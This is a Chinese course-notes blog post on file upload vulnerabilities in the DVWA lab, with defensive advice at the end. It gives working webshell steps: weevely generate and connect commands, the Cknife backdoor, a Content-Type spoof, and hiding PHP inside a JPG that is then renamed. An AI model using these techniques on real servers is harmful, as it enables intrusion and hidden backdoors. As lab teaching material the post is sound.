白帽子黑客攻防系列课程(八)文件上传漏洞

课程前言

白帽子黑客攻防系列课程第二季现已上线。

本课程仅做学习交流之用,切勿用于任何不法用途!
白帽子黑客攻防系列课程将会深入浅出讲解计算机网络基础、渗透靶场搭建、Kali Linux、系统漏洞、渗透工具(Nmap、Sqlmap、AWVS等)等的原理及实战内容。
第二季主要讲解DVWA黑客攻防演练等,配合讲解网络基础知识及Linux基础知识等。
知其然并知其所以然,相信通过学习,各位朋友对白帽子黑客攻防会有非常深刻理解。
梦想还是要有的,万一实现了呢!

网易云课堂地址:https://study.163.com/course/courseMain.htm?courseId=1209505841&share=2&shareId=480000001946405

本篇博文为文件上传漏洞要点笔记,主要介绍黑客攻防中的文件上传攻防技术。

文件上传漏洞概述(含Webshell简介)

文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

文件上传漏洞本身就是一个危害巨大的漏洞,WebShell更是将这种漏洞的利用无限扩大。大多数的上传漏洞被利用后攻击者都会留下WebShell以方便后续进入系统。攻击者在受影响系统放置或者插入WebShell后,可通过该WebShell更轻松,更隐蔽的在服务中为所欲为。

WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。

WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员不容易发现入侵痕迹。攻击者可以将WebShell隐藏在正常文件中并修改文件时间增强隐蔽性,也可以采用一些函数对WebShell进行编码或者拼接以规避检测。除此之外,通过一句话木马的小马来提交功能更强大的大马可以更容易通过应用本身的检测。

就是一个最常见最原始的小马。

初级原理及实操(含weevely、Cknife操作)

view source

kali自带的weevely

weevely是一款使用python编写的webshell工具(集webshell生成和连接于一身,仅用于安全学习教学之用,禁止非法用途),可以算作是linux下的一款菜刀替代工具(限于php),在linux上使用时还是很给力的,就是某些模块在windows上无法使用,总的来说还是非常不错的一款工具。

weevely generate 123456 /root/webshell.php

上传文件

服务器路径http://192.168.199.217/dvwa/hackable/uploads/webshell.php

weevely http://192.168.199.217/dvwa/hackable/uploads/webshell.php 123456

Cknife:

https://github.com/Chora10/Cknife

上传一句话后门Cknife.php

http://192.168.199.217/dvwa/hackable/uploads/Cknife.php 密码就为Cknife

注意事项: 存放路径不能有中文,kali下目前有bug

中级原理及实操

view source

对文件类型和大小进行限定 if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&  ( $uploaded_size < 100000 ) )

100000字节=97.65625kb

firefox浏览器——查看元素——网络——编辑重发——双击 Content-Disposition: form-data; name="uploaded"; filename="phpinfo.php" Content-Type: image/png

高级原理及实操

view source

if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&         ( $uploaded_size < 100000 ) &&         getimagesize( $uploaded_tmp ) )

后缀名必须为jpg、jpeg、png;小于100000字节;getimagesize() 函数用于获取图像大小及相关信息,如果不是图片文件就会返回 false。

图种是一种采用特殊方式将jpg图片文件和rar压缩文件合并起来,一般打开来看只是正常的图片,修改扩展名为rar后解压,得到隐藏的文件。

windows copy/b D:\a.jpg + D:\phpinfo.php D:\b.jpg

UNIX/Linux cat phpinfo.php>>a.jpg

上传,结合高级命令行漏洞

相对路径rename ..\..\hackable\uploads\a.jpg  a.php

绝对路径rename C:\phpStudy\PHPTutorial\WWW\DVWA\hackable\uploads\a.jpg a.php

神仙级原理

view source

使用 imagecreatefromjpeg 或 imagecreatefrompng 去掉了不属于图片的部分

为文件重命名成 随机字符串。因为如何上传的文件是 phpshell.php.rar ,Apache 不认识 rar 格式就会向前解析,文件就解析成 phpshell.php 了。

用 anti-token 解决一些 CSRF 问题

总结

通过白名单方式判断文件后缀合法性

对上传的文件进行重命名,rand(0.99).date(“Ymdhis”).***。

给文件服务器设置单独的域名,因为不同源的原因,请求会被浏览器拦截

你可能感兴趣的:(白帽子黑客攻防,文件上传漏洞,weevely,Cknife,中国菜刀,一句话木马)